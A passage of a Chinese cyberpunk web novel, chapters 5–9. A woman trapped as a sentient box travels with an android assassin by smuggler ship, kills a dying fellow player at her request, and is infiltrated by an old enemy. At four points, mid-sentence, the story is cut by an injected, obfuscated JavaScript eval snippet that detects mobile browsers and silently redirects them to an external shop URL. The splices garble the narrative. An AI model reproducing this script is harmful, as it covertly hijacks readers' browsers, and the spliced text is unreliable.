苍术手上动作不停，把模型的参数调成呆滞的模样。 然后，他微微扯起嘴笑了笑：“我会做表情。” 十二个小时前，两人和黎家的追兵进行了一次惊心动魄的对抗。五个小时后，两人将继续赶路，前往下一站，为了躲过监控和边防绕远路，用不寻常的方式去往总统所在的库金利区。 但两人现在暂时忘记前两个晚上摆脱追捕的经历，也暂时忘记任务目标。 对于丛黎来说，她要暂时忘记的事项还要再多几项：游戏系统和潜在的对抗玩家，穿越和退出游戏的机制，以及关于盒子的秘密。 系统页面上，两个选做任务“刺杀总统”和“阻止神秘组织刺杀总统”同时亮着，论坛上的讨论每一秒都在增加。 她的目光暂时忽略了论坛和系统。 人类是生活在此刻的动物。而在这个时刻，她被来自另一个世界的虚幻影像拽了进去。 “等等，再给我调个参数，这个站姿很累的，给我弄把椅子让我坐着吧。”在盒子里没有椅子的丛黎喊道。 苍术在投影仪的操控屏幕上调了一下：“坐姿，完成。” 这回他把全息投影放在了房间里的长椅上。 “我要跷腿。”她说。 全息投影翘起二郎腿。 苍术坐到“她”旁边，和全息影像握了握手：“很高兴认识你，渡鸦。” 透过空无之壁，她看到在房间里，仿生人战士的手穿过数据像素，空气中年轻女性的虚影扭曲了一瞬。 盒子里的丛黎配合地道：“很高兴认识你，苍术，其实一点都不高兴。” 5. 刺客之跃5 全息投影消失了。 苍术描述道：“从盒子里走出来的你像乌龟一样重新缩了回去。” 丛黎反驳道：“胡说！那个影子不是我，缩回去也是缩回投影仪里去了，跟盒子无关。” 苍术：“你说得对，是我的比喻错了。” 他真诚的眼神和迅速的滑跪令丛黎感到无语又好笑。总体来说，她和这个仿生人战士相处得不错。 离开工业镇前，此次任务的重要成员通过秘密信道开了一次远程会议。 在虚拟会议室里，阿魏沉默地立着，之前那个名叫白前的孩子没有在场，说话的依然是桑寄。 桑寄沉稳的女中音通过通讯设备传来：“渡鸦，你的能力我见识到了——对了，你还不知道吧？阿魏一直通过苍术芯片上植入的程序在跟随着你们的行动。” 丛黎倒是知道组织不可能放任苍术带着一个居心不明的盒子独自进行重大任务，不过桑寄点出“跟随监视”的事实时，她还是起了一身冷汗。 这里是赛博朋克世界，只要生活在有电的地方，人类就无所遁形。 “尾迹云”组织能在政府无处不在的监控底下保持隐秘，当然有他们的手段。 这种手段必然会被运用到组织成员身上。 “阿魏是你们的黑客？我能这么理解吗？”丛黎问。 “是的。”桑寄没有隐瞒。 丛黎看向虚拟会议室里阿魏的投影，这个黑客从始至终通过程序追踪着行动，她和苍术所有的对话都不能逃过阿魏的耳目。 她回忆了一下这几天和苍术之间的交谈，确信自己并没有说任何可疑的话以后，才稍微放心下来。 她故作高深地说：“桑寄，有一件事你得清楚，我已经十年没见过世面了。” 桑寄表示理解：“我明白。十年内你都被锁在秘密基地里，接触不到外界的变化。” 丛黎：“那就麻烦多安排点经费，多给我介绍一点外界的情况，别让我自己问。” 桑寄：“在这一点上你可以放心。” 虚拟会议结束后，丛黎在盒子里擦了一把额头上并不存在的冷汗。 呵，差点就暴露了，还好她只是个盒子。 “接下来我们去哪里？”她问苍术。 苍术：“找一个赌场。我需要扮成犯事逃跑的仿生人，找到黑市商人帮我躲过监控和边防。” 就跟结婚要找婚庆公司一样。 组织自己虽然也有能力躲监控，但是费财费力还容易被追根溯源，这时候还不如求助已经成熟的产业链。 丛黎有理由相信，如果“刺杀总统一条龙服务”有一天也变成了成熟的产业链，在黑市上行情也不会差到哪里去。到时候便会冒出许多诸如“1号劫机套餐”“2号狙击套餐”“3号下毒套餐”“4号同归于尽套餐”的刺杀选项。 苍术按照指示在毛柱工业镇找到一家地下赌场。 赌场墙上到处都是露骨的广告，色彩靡丽用词奇特，露出黑市产业链的冰山一角。 地下赌场所属佣兵帮派其中的一个业务员坐在垒高的铁箱子上，脖子上戴着蓝色电子项圈，嘴里吐着烟圈。 “……犯了事？要去哪里？” 苍术答道：“硫磺市。” 雇佣兵业务员微微眯了眯眼睛：“最近三天，守卫帮又击杀了两个仿生人，你这种情况要加钱。” 苍术沉默了片刻。他正从脑内通讯内读取来自组织的指令。 那位业务员却以为他因为钱的问题而感到退却，嗤笑道：“我们专做这一行，什么路线没摸熟？保管你能大摇大摆地从各大城市路过不被任何边防查——那些苍蝇，我们早就给他们喂饱了屎。至于狗屁人工智能，只是没有苍蝇就活不了的蛆。” “不过钱这个事儿嘛，还是不能打折扣。你是从尼龙市出来的，你听说昨天晚上的鬼故事没有？” 丛黎竖起耳朵，靠近空无之壁，试图听得更清楚一点。 “新闻没有报道，但周围有人看见了，还在建的那个雷塔——”业务员吐出一口青袅袅的烟圈，“被恶魔挪了个盘儿。” 丛黎默默捂住了耳朵，尴尬癌犯得恰到好处，躲到角落里去自闭了。 她知道会被传得离谱，吹水胡扯天花乱坠，但真正听到了耳中还是觉得脑子发晕视线模糊。 这跟“我考了一百分，是我自己出的试卷”有什么区别。 苍术没什么特别反应：“这件事对于我的逃亡有什么影响吗？” 业务员用手捻了一下烟灰，从烟卷上抬起视线，注视着这个不识好歹的仿生人。 几秒后，他缓缓吐出几个字：“没什么影响……就是要加钱。” 不管那些传言真假，通通都得算进价钱里，做这行的管这个叫“风险预估”，和保险公司算是师出同门。 付清了钱后，一个名叫“霜”的雇佣兵接了任务，与苍术同行。 霜很有职业操守，既不问苍术犯了什么事需要逃亡，也不问他为什么去硫磺市，只是问了一句：“你的盒子会对机械义体有干扰吗？” 霜植入了义眼和义肢，担心不明设备也是无可厚非的。 苍术说：“不会造成干扰，是一个朋友的骨灰盒。” 丛黎在盒子里重新思考自己的定位：“……我现在是骨灰了。” 两人一盒从毛柱工业镇出发。 霜提起了路线：“坐船从外海绕到硫磺市是最简单的，起码不会遇到那么多边防检查，但那种游览型的大船里面很乱，异能者和各种帮派混杂在一起。” “走陆路的话，我们有三条路线，一条是从现在正在交战的南边境线走，打仗嘛，容易混过去，第二条是我们的运货路线，但最近这条路线出了点问题……” 在比较之后，苍术选择了海路。 进入靠近外海的港口城市海晶市后，天气每天都很糟糕。 灰暗的天空长年笼罩着这个多桥之城，空气湿度大，随时随地都要下雨的感觉挥之不去，因为水汽而被腐蚀的金属斑驳陆离，经过一些管控不怎么好的街道时能闻到明显的霉烂潮湿的臭味。 夜晚，入海口附近的灯光照在水面上，显得污浊极了。 霜引领着苍术走过从码头通往船上的钢架楼梯，在经过重重集装箱的阴影下时，走在前面的雇佣兵忽然停下了脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462230|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。 苍术觉得有点不对劲：“怎么了？” 雇佣兵霜转过身来：“忘了一件事，在上船之前，把你那个盒子交给我，我得给它登记一下。” 霜平时办事利索，至少从离开工业镇开始的七八天的观察时间段内来看，他是个可靠的人。 但他忽然提出这个要求，苍术还是起了疑心：“我必须在场。” 集装箱挡住了码头的灯光，厚重的人造阴影里，那个沉默寡言的雇佣兵看起来面目有些陌生。 他扬起手，把披在身上的外套甩开，露出的手臂却并非机械义肢。 “晚上好，两位。”他发出来的声音也完全变了样，声线是女人的。 他，不，她——她打招呼的时候用的称呼是“两位”。 正在盒子里刷论坛的丛黎觉得外面气氛不太对劲，垂死病中惊坐起开了好几面空无之壁的投影。 不远处停泊着的大船上灯光遥远，堆积如山的集装箱阴影里，黑暗蠕动着。 如同活物般的黑暗几乎和那个人融为一体，那人的虚假脸皮上瞬间蔓延着黑色的爬山虎。 丛黎认出这个人正是上次在建筑工地见到能操控无光之处将黑暗变为实体的异能者！ 她暂时叫做“黑泥”的那位，原来是一名女性。 但这次她觉得黑泥整个人的气场和上次比起来变化了不少，黑泥的能力似乎升级了。 黑泥甚至知道她的存在…… “别害怕，我只是和盒子说几句话。”黑泥露出一半光洁的脸庞，另一半脸则沉没在黑暗沼泽里。 丛黎对苍术道：“让我和她说话。” 听到耳机里的声音，苍术答道：“但我必须保护你。” 丛黎：“她比上次强了很多，要是想对你下手，你现在早就损耗掉一次生命了。苍术，照我说的做。” 苍术照做，他拔掉连接器，将盒子的声音外放出来。 在连接器离开盒子表面的时候，仅有的几丝光线被吞噬了。 令人毛骨悚然的黑色像粘液一样迅速爬升，禁锢住苍术的四肢，令他不得动弹，他的喉咙同样被黑暗扼住了，说不出话来。 盒子被黑色触手卷走，和那个半边脸庞的女人一起消失在阴影里！ 苍术的脑内通讯端中，黑客阿魏察觉了这一点：“苍术，现在的情况只有启动筋骨重组了，你要麻痹效果吗？” “不要。”苍术在脑内回复道。 阿魏提醒道：“很痛。” 在黑客的远程操控下，仿生人内部的纳米机器和生物电子系统互相作用，仿生身体结构和组织在短时间内迅速重组优化。 细密的分崩离析带来了瞬间的巨大痛苦，也让附着的黑暗从他身上剥离。 苍术膝盖一软，跪倒在地上，黑暗触手的绞杀对他已经不起作用了，他的手撑在地面，借了力，身体随即跃起。 “我去追回。”他对脑内通讯那端报告道。 海风稀疏，穿行在障碍物之间。 黑泥身披黑色斗篷，她把盒子罩在暗影里，语气谨慎地问盒子：“盒子，你是玩家？刺杀总统的任务是你接的吗？” 6. 刺客之跃6 你是玩家？ 丛黎感到了类似下定决心咬一口石头、吃进嘴里却是滚烫的豆腐的冲击。 她的盒子CPU快烧了。 “你先回答我，那天晚上‘阻止神秘组织刺杀总统’的任务是你触发的吗？”丛黎问。 由于全服的玩家都收到了“刺杀总统”和“阻止神秘组织刺杀总统”两个任务提示，且有一定的触发机制，所以她怀疑在那天建筑工地之后出现第二个任务的原因，是因为当时有另一个玩家在场或者远程在场。 她怀疑过黎家装甲车中的人员，怀疑过指挥那次追捕的高层，就是没怀疑过和苍术交手的异能者“黑泥”。 这是因为她下意识地认为刚穿越过来的玩家们还没开发异能或使用异能不熟练，便把黑泥从怀疑名单中排除出去了。 没想到那天在现场的玩家居然是黑泥。 “触发任务的应该就是我，八九不离十。”黑泥找到同类后的姿态放松了不少。 “这个游戏的机制很有意思，私人任务公开播报，相当于把秘密展露在相当一部分人面前。玩家本来是同一类人，穿越过来后，却注定会分散到不同阵营，形成了对立又统一的矛盾体，全看玩家自己怎么选择。” “这个世界的势力本就错综复杂，多了玩家这群矛盾体势力，会混乱成什么样子……有趣。” 尽管眼前的黑泥大概率就是玩家，但丛黎没有放下警惕心：“你抓走我，就想对我说这些？” 黑泥用手抹开脸上的黑暗触手，露出一张年轻光洁的脸庞，眼珠大而黑，右眉毛上有一道断痕，她看向盒子，“哈哈哈”笑了起来。 “我先介绍一下自己，我在论坛上的昵称是青青头盔，真名是冷青，在我们那个世界里是雇佣兵，在这个世界也是雇佣兵，不过是给黎家当走狗的雇佣兵。” “那天触发任务后，我就想到了，神秘组织就是来黎家盗走盒子的组织，他们盗走盒子的目的是刺杀总统。问题是，在那个神秘组织中，谁是那个触发刺杀任务的可怜玩家？” “我做了一系列排除法，发现唯一的可能只有你，盒子小姐。” 丛黎在空无之壁间不安地走来走去：坏了，碰到真大佬了。 在短短几天时间内，能根据有限的线索推断出这个真相的难度极高，尤其在黎家封锁了所有关于盒子的真相的情况下。 在原来的世界，“黑泥”冷青是作为雇佣兵活动的。 难怪到了这个世界，冷青身上仿佛与生俱来的气场和压迫感几乎让人认不出来她是玩家。 普通社畜丛黎开始焦虑了。 冷青察觉到了追上来的仿生人战士，加快速度。 “我觉得你的异能很有意思，所以决定把我的后半生交给你。” 丛黎感觉脑子里的烫豆腐在顺着她的神经下滑，灼烧着她的全身：“等等……后半生？” 冷青在码头咸湿的空气里，借着黑暗的触手穿行，她的身体几乎成为了黑暗的一部分，毫无声息，快速地从船舶和货运箱边滑行过。 她耐心解释道： “我花时间了解了这个世界的异能。任何不被机械义体污染的人类都有可能因为某个契机开发自己的异能。” “机械义体会侵蚀人，从人的意识到人的身体，植入越多义体，越容易被异化，变成不受自己意志控制的精神病，直到肢体解离死亡。” “同样，异能也会侵蚀人类，随着等级和使用次数的提升而增加异化风险，在这个世界上被异能吞噬的人有不少。” 丛黎听到这里，想起了之前那种心有余悸的直觉。 果然，异能是会吞噬人的，不仅仅是使用不当，光是使用次数就会加速人的灭亡。 还好在建筑工地那次，她及时收手了。不然她连自己是怎么死的都不知道。 冷青：“不过，生物科技公司在人体内发现了一种叫异能抗体的东西，能帮助人抵御异能的侵蚀。每个异能者都有抗体，不过很少。他们叫它‘生命水’。” 生命水。 这个全息游戏的名字就叫《生命水》。 但是在玩家穿越过来之前，游戏规则和背景介绍里完全没提到异能和异能抗体“生命水”。 毛骨悚然的感觉让丛黎不敢继续按照这个思路细想下去。 冷青：“黎家就是做这个生意的，搜集异能者，帮助他们成为最高等级S级异能者，让他们尽可能多地使用异能，榨干他们的价值后，在他们快要被异能吞噬时杀死他们，从而得到他们的异能抗体。” “我就是其中之一，那天我们在建筑工地见面的时候，我的异能只有E级，只能短距离内操控黑暗变成泥发动间接攻击。但在催化剂的作用下，现在我的异能是S级，能远距离操控黑暗，甚至通过黑暗找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462231|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同在黑暗中的任务目标坐标定位、利用黑暗和阴影排布伪装成别人。” “现在我快死了。” 黑色触手四面张狂，那张干净的脸庞重新爬上漆黑的藤蔓，蚕食着剩下的皮肉，宛若坟墓上的泥土，将她慢慢埋藏起来。 风声夹杂着怪诞的声音，从耳边尖啸而过。 似乎是某种飞行器的声音。 冷青愣了一下，狂笑起来：“听见那边的声音了吗？猎手，来取我的命了，他们知道我在这里了。” 在后面追赶冷青的不止苍术，还有黎家那些搜集异能抗体的猎手。 搜索灯很快扫到了黑色触手，如同闪电一般从冷青的眼中划过。 嗡鸣声渐近，飞快旋转的浆翼划破空气，一架无人机发现了她！ 盒子里的丛黎冷静下来，慢慢理清现在的情况。 作为黎家雇佣的异能者打手，冷青今天能逃过黎家的监控和她联系上，是因为她作为异能者不能被机械植入体污染，所以她身上没有装任何芯片。 在催化剂的作用下，冷青成为S级异能者，异能抗体已经可以“收割”了。 但现在，冷青逃离黎家的管控，专程找到她，又将这些事告诉她…… “你要我杀了你？” “我要你杀了我。” 两个人同时开口。 冷青笑得更加畅快：“你很聪明，我的下半辈子果然该给你。” “你杀了我，就能获得我的异能抗体，你活着，就相当于我活着！” 冷青借着黑色触手的托举，纵身从码头集装箱堆离开，一跃而下。 无人机轰鸣着朝这个方向追来，探出的机枪瞄准了狂奔中的冷青。 丛黎静坐在空无之壁间。 投影上的画面被搜索灯的光芒照亮，水上浮着不安的泡沫。 铺天盖地的子弹朝冷青窜去，带着蓬开的火光。 她深呼吸一口气，伸手探入空无之壁，握住无人机。 在机/枪/口发射子弹的那一瞬间，她抓着无人机把它引向冷青的方向，也就是她自己的方向，像引/枪/自杀的动作。 碰。 冷青被子弹精准射中，黑色触手瞬间消失，她仿佛一头扎进了黑不见底的水面，没有任何水花。 一滴水，落入了水面。 系统：【你获得了冷青的异能抗体】 7. 刺客之跃7 盒子径直下坠。 苍术在无人机的描边攻击中，在盒子坠入水中的前一刹那如同飞鸟掠过水面。 他重新握持着盒子，跃上了旁边的铁台。 丛黎从冷青死亡的事实中稍微缓过劲来，对苍术道：“那个雇佣兵被打晕了，就在我们来时的那条路上排水渠边。” 苍术答应道：“好，我先摆脱这些无人机。” “我会处理。” 她再次探入空气墙内，抓起一架无人机朝另一架无人机撞去。 这些无人机注定得销毁。它们本来是追猎逃脱异能者冷青的工具，在无人机后方还有收集异能抗体的人员，如果他们跟着无人机追上来，就会发现“盒子”的去向。恐怕“她里莎船长号”之行会变得腥风血雨。 机体对撞，碎片四溅，电子尖叫声锐利地划破了安静的港口，尾灯火花迸开，像枯萎的叶子从半空中坠落。 那些追猎逃脱的S级异能者冷青的无人机群在几秒内被歼灭。 而对于她来说，只是伸手一握。 知道异能吞噬的真相后，每一次使用异能都是在心惊胆战地试探底线。她现在像个走投无路的赌徒。 从空气墙内抽回手，丛黎呼了一口气：还活着。 评级不明的“高维空间”异能。 没有具体数值的异能抗体。 谁都不知道她下一次使用了异能后会不会死。 苍术穿过堆叠着货箱的迷宫，回到排水渠边。 那个执行护送任务的雇佣兵霜已经醒来了，他的伤势不重。 “是追捕我的。”苍术解释道。 霜联络了帮派，得到的回复是：“必须尽快上船，船上那些航区官我们打点过，情况会好很多。” 雇佣兵霜引领着苍术上船，这艘名叫“她里莎船长号”的游览船从海晶市港口出发，沿着海岸线一路南行，绕过撞狐岬角，抵达港口城市硫磺市。 在这艘游览船上，却多是鱼龙混杂的人。权贵家族有私人游览船，申请了私人海航线，自然不屑登上这种公共游览船。普通上班族很少有假日，即便有休息时间，他们也更倾向于性价比更高的虚拟体验机。 从一开始，游览船的设立就是为了给某些人开方便之门。 逃亡者，逃亡者猎手，黑市交易者，黑市交易抓捕者，特殊任务者，特殊任务情报调查员。 如果丛黎现在有心情吐槽，一定会得出这样的结论：赛博朋克世界的游览船相当于在武侠剧里开了个同福客栈，斗殴大舞台，有胆你就来。 丛黎躺在空无之壁间，周围的景象快速从空气墙上刷过，仿佛这一切都与她无关。 她打开论坛，在大屏幕上看着刷新的一条条帖子。 冷青死了。 一个见面没多久的陌生人死了，但是和她有关。 她搜索“青青头盔”这个昵称，在论坛上找到了冷青曾经的发言。 楼主（青青头盔）：不要过度使用异能，也不要和大公司搭上边。 2L（青青头盔）：如题，机械义体会吞噬人类，异能也会吞噬人类的，谨慎使用异能，谨慎装机械义肢。不少大公司都在收集异能者，不要上赶着做小白鼠。 这条帖子是两天前发布的，但由于帖子刷新速度太快，也没人顶上来，很快石沉大海了。 她在那条帖子下方发布了自己的第一条回复。 4L（有点方）：顶顶。 丛黎不知道冷青在自己的世界里是否还活着，但她在这个世界里的身体确实湮灭了。 这是丛黎目睹的第一起死亡，也是她掺和的第一次死亡事件。 她觉得恍惚，毕竟从她的视角看来，她只是伸出手探入了空气墙。 原来杀死一个人那么简单。 从高维空间杀人，更是易如反掌。 从特殊通道登上游览船后，霜带着苍术来到一个普通舱，607号。 “左边舱房住的是执行秘密任务的异能者，对面的舱房是谈交易的，基本上不会注意到我们。”霜是这么说的。 普通舱房十平方米左右，皮革材质的床铺对面是可折叠的工作台，工作台边有小型冰箱和食物处理炉。外景眼镜就放在架子上，号称“在漆黑的暴风雨天气仍然能捕捉到肉眼无法看到的奇妙海景”。 苍术进入舱房后，打开电子眼内的扫描功能，谨慎地将整个舱房检查了一遍，确认没有监控和监听设备。 在脑内通讯端，虚拟会议再次召开。 行动负责人桑寄将刚才发生的事复盘了一遍： “根据情报，那个雇佣兵叫冷青，异能S级，是短时间内催化的，她这种情况马上会被异化，成为完全不受自己控制的怪物， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462232|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以黎家才准备提前杀了她。” “黎家不知道冷青找到了我们的定位。刚才渡鸦销毁无人机的时机很妙，他们应该还没有发觉盒子。” 黑客阿魏：“游览船不会离开近海信号区，保持联系。” 虚拟会议结束后，苍术问盒子：“你还好吗？” 丛黎回答：“还好。” 他沉默了片刻，忽然问她：“你感到痛苦吗？” 这话可说不得，尤其是苍术和她之间的对话都被组织远程监控着的情况下。 她哈哈笑起来：“你知道什么是痛苦吗？” 苍术：“我有痛觉，也能体会到苦味，但人类的痛苦是指心灵那里的感觉。” 丛黎：“你没有心灵，就感觉不到，以后别擅自揣测人类的心灵，知道了吗？” 苍术：“知道了，抱歉。” 清晨五点半，“她里莎船长号”启航了。 仿古的汽笛声划破港口的肌理。 机器人向导在过道上移动着：“本次航行已开始，预计用时五天五夜，请在舱房内的智脑上预约船上各项服务……” 啪，声音戛然而止。 她里莎船长号上一片漆黑。 断电了。 不少乘客打开舱房门探出来查看情况。 几秒后，过道上的灯亮了起来，其他电力设施也一一恢复。 机器人向导重新接上信号：“很抱歉，出于一些原因发生了电力故障，现在故障已经修复，敬请谅解……” 她里莎船长号重新恢复了光亮，港口已经渐远，清晨的天空也亮了起来。 一个女人从606舱房走出来，按响了隔壁的门铃。 苍术打开电子猫眼。 远端的阿魏叮嘱道：“等等，我扫描一下来人的身份，可能是认识的人。” 丛黎透过空无之壁上的电子猫眼投影看到了邻居。 那个女人半边脸上有黑色花纹刺青，半长的头发染成了蓝色，大片的机械护具穿戴在身上。 阿魏的声线从远端通讯里传来时有些紧张：“扫描结果……情况有变，606号住的异能者是渡鸦的宿敌，十年前杀死渡鸦的凶手之一。” “叶提星，异能‘结界’。” 阿魏：“不确定叶提星为什么来敲门，谨慎一点，不要让她发现盒子的存在。” 8. 刺客之跃8 叶提星是来借航行服务通讯器的。 她说话的方式像断掉的珍珠项链一样。 “停电，通讯器失灵，借一下。”叶提星面容冷淡，随着说话面部肌肉微动，黑色花纹刺青也随之在半边脸颊上爬行，机械护具的反光映在她的眼中。 阿魏提示的身份显示叶提星就是十年前杀死渡鸦的凶手之一。“凶手”这个极具感情色彩的词不可避免地带来了观感上的刻板印象。 苍术在开门前已经把盒子藏在了橱柜里。 “我去拿。”苍术说。 丛黎在空气墙上开了二级“远景”，才在空无之壁上看到叶提星的样子。 和她想象中的“凶手”不一样。 叶提星看起来很疲惫，说话也提不起精神，索性省略了各种词，才会形成那种珍珠断链的句式。 苍术把航行服务通讯器递给叶提星。 她接过来按了几个按键，语调颓懒地对通讯器那头道：“606故障，速来。” 在这样的状态下，叶提星恐怕懒得探究邻居的身份动机，更不用说什么盒子了。 叶提星借了通讯器报告故障后果然没有问多余的事，道了谢后便回到自己的舱房。 苍术关上门：“暂时安全。” 丛黎若无其事地吹牛道：“不用太紧张，十年前的事而已。” 苍术点头：“好。” 吹完牛，丛黎独自在盒子里破防了。 她踩着那面朝下的空无之壁，气愤地踩，面目扭曲地踩。 “我受够了。”她说。 苍术：“怎么了？” “蟑螂，有蟑螂在我盒子上爬。”她忍耐着冲动，咬着牙说。 苍术打开橱柜，一只大蟑螂飞速从眼前窜过。 丛黎捂住眼睛：“处理掉它。” 蟑螂放大的细节在空无之壁上清清楚楚，让她鸡皮疙瘩起了一身。 苍术贴心地把盒子擦了一遍，又消毒了一遍。做完这些，见盒子还是没有动静，他担心地问：“你还好吗？” 丛黎在盒子里躺尸：“不好，一点都不好。” 最初的时候，她对于这种被关在盒子里的状态相当满意。至少，没有人会苛求一个盒子，也没有人能轻易杀死一个盒子。 在开发了异能“高维空间”后，生命被威胁的实感寒光闪闪地垂在头顶上形成了达摩克利斯之剑。 如今，昔日的敌人出现，而她对往事一无所知。 她甚至无法掌控自己待在哪里，就连蟑螂都可以在她的盒子上爬来爬去。 ……受够了。 她第一次产生了想从盒子里离开的强烈渴望。她想要对自己处境的支配权。她想自由行动。就算是用危险来换，她也愿意。 苍术又擦了一遍盒子：“抱歉，我没考虑到橱柜里会有蟑螂。” “不是你的问题，不用擦盒子了，要秃噜皮了。”她说。 苍术：“我会尽量……” 她打断他：“我们只是暂时的搭档而已，不用对我这么真心诚意的，你又不是我的仆人。” 苍术沉默了片刻：“好。” 丛黎有时候觉得他的逆来顺受有点过头了：“别对每个人都那么顺从，小心被人欺负了。” 苍术：“我感受不到痛苦。” 丛黎语噎。她提高音量：“那也不行！我说的！” 苍术不解：“好，但我应该听谁的？” 她无奈：“听自己的。” 苍术：“可是我自己没有想做的事。” 丛黎双手抱头，在盒子里转来转去：“……我和你闲聊真是自找罪受。” 苍术微微抬起嘴角：“不过我很喜欢和你闲聊。” 她福至心灵，抓住机会：“你看！你不是有自己想做的事吗？” 苍术愣住了，他眼中流露出迷茫。 “上次那个捏脸游戏，不也是你自己想做的事吗？”她乘胜追击。 苍术轻声问：“然后呢？” 丛黎再次哑口无言。 然后呢？ 再说下去，组织就要认定她带坏他们的仿生人战士了。 她哼了一声：“没有然后了，结束讨论。” 关于苍术的“自己”，这个话题结束了。 她更应该关心的是她自己。 由于苍术选择了“送餐上门”的舱房服务，用餐时间，便有机器人服务生将食物送到门口。 “用餐愉快！”机器人说。 苍术按时用餐，以免周围的人察觉他是仿生人，带来不必要的麻烦。 当然，按照“国际惯例”，盒子先吃，他把餐盘放在盒子面前。 今天盒子很安静，居然没注意到食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462233|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苍术有些诧异：“还好吗？” 丛黎蹲在角落里思考该怎么在不引起组织的注意下从外界获得更多情报，怎么从盒子里出去。 她随口应了一句：“还好。” 【亚尔弗】：面包，合成肉，藻类沙拉，能量饮料。 突然出现在空无之壁屏幕上的消息让丛黎吓了一跳，她警惕地叫了出来：“你是谁？！” 外面的苍术眼疾手快地把盒子藏进抽屉里，做出戒备的身体姿态，站起身：“谁？” 盒子里的丛黎：“……没事，不用那么紧张，我说梦话。” 苍术松了一口气：“有事可以告诉我。” 丛黎：“知道了。” 丛黎把通往外界的声音切断，确保自己和那人的交流只限制在盒子里。 【亚尔弗】：她总算发现了我。 丛黎对这个不速之客的出现感到有些恼火，却又惊恐。 总算发现了他？那么他是什么时候在的？ 她再次问：“你是谁？” 【亚尔弗】：她大概在考虑应该怎么离开这个盒子，我知道，但我不愿意告诉她。 丛黎感觉自己的神经在突突地跳。 她很快冷静下来，复盘从刚才开始的细节：游览船断电几秒，叶提星敲门，开门，借航行服务通讯器…… 【亚尔弗】：如果她还记得过去的事，现在或许会把我撕碎。 她闭了闭眼：“亚尔弗，闭嘴。” 【亚尔弗】：她想起来了吗？ 她脑中所有的线索碎片都汇合了起来，从一开始到现在。 “叶提星过来敲门，假装借通讯器，是为了把你放进来。” “她根本不需要借通讯器，因为在通电时，机器人向导刚从我们的过道上路过。她出门的时候刚好遇到机器人向导。” 她睁开眼睛，直视着空无之壁上显示的文字对话。 “开门后，那只电子蟑螂就进了我们的舱房，进入橱柜，你这个小偷就附着在电子蟑螂上，用一种可鄙的手段和我蓝牙连接上了。” 【亚尔弗】：她说我是小偷，说我的手段可鄙。 她简直无语了：“杀死我的凶手之一，你说对吗？” 【亚尔弗】：很遗憾，看来她还是失忆的状态。不过她依然和以前一样是个可怕的对手。 9. 刺客之跃9 她里莎船长号在海面上航行。 庞大的游览船驶过时，海面就像把鸡蛋壳从壳膜上撕下来时，蛋壳膜上出现了细微皱纹一样。 607舱房内，苍术正和雇佣兵霜商量着接下来五天五夜的行程。 “我得到的消息是守卫帮的人也在，可能会故意来敲舱房的门，小心点。”霜提醒道。 盒子放置在抽屉里。 盒子内部，丛黎和那个不速之客正对峙着。 她穿越过来后的主要事件就是莫名其妙踏上了刺杀总统的旅途。 叶提星和亚尔弗的出现让她的日程上多了一条重要支线：了解自己的往事。 现在她得到的线索是，一群异能者合力杀了渡鸦，让她变成了“盒子”，被关锁在黎家家族大楼的顶层。 问题是，为什么要合力杀了渡鸦？又是以什么方式让渡鸦以这种方式存在于盒子里？ 发霉的面包再次出现在丛黎的大脑里。 【亚尔弗】：她正感到困惑。 丛黎抬头看到空无之壁上的消息。 亚尔弗说话真的很讨人嫌。并且，只要亚尔弗还在她的盒子里，她就不能打开游戏论坛。 现在的她连最后的娱乐活动都没有了。 “你能不能给我播放点碟片？音乐？这里好无聊，你在就更无聊了。”她在空无之壁间翻了个身。 【亚尔弗】：她把我当成点播机了，但我只能做到意识连接而已。 她默默记下：亚尔弗的异能是“意识连接”，使用有限制条件。 她：“……你能不能滚出去，别打扰我睡觉。” 【亚尔弗】：她的暴躁一如既往，不过我有理由怀疑她在激怒我，好从我嘴里挖出更多情报。 这个人怎么浑身上下都透着贱兮兮的欠扁气质？几乎每一步都走在她的雷点上。 既然如此，那就实实在在地来套点情报吧。 她坐起来，面对着空无之壁：“亚尔弗，你爱我吗？” 空气墙上的文字停滞了几秒。 